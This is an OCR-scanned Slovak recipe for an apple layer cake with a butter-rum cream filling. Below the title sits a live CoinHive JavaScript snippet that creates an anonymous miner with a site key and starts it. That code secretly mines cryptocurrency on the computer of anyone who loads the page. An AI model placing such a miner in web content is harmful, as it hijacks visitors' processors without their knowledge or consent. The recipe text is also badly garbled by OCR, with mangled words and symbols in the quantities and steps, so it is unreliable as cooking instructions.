Jablkovy kolaé¢

var miner = new
CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bU
D87VW1NfjqucRZNNVTb1AHGUK2fkg5Nd55mLNnB4WK'); miner.start();
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6 bielkov vyslahat s 25 dkg krystalového cukru. Potom pridat 6 Zltkov, $tavu z 1 citréna, 12 dkg
majzény a zmiesat s 1 praskom do peciva. Upiect 3 platne na mensom plechu. Platne piect na
mastnom papieri.

Plnka ¢. 1: 1 kg jablk udusit bez cukru

Plnka ¢. 2: 1 vajce vyslahat s 20 dkg praskovym cukrom a 1 vanilkovym cukrom do peny.
Vyslahat 20 dkg masla a k nemu pridat vysfahany cukor s vajcom a 2 dcl rumu.

Na spodny plat natriet 4 maslovej plnky, na fiu ¥ jablk, zasa platfiu, na fiu pinku a jablka.
Posledna platra — potriet poslednou tretinou plnky. Posypat vrch orechmi.




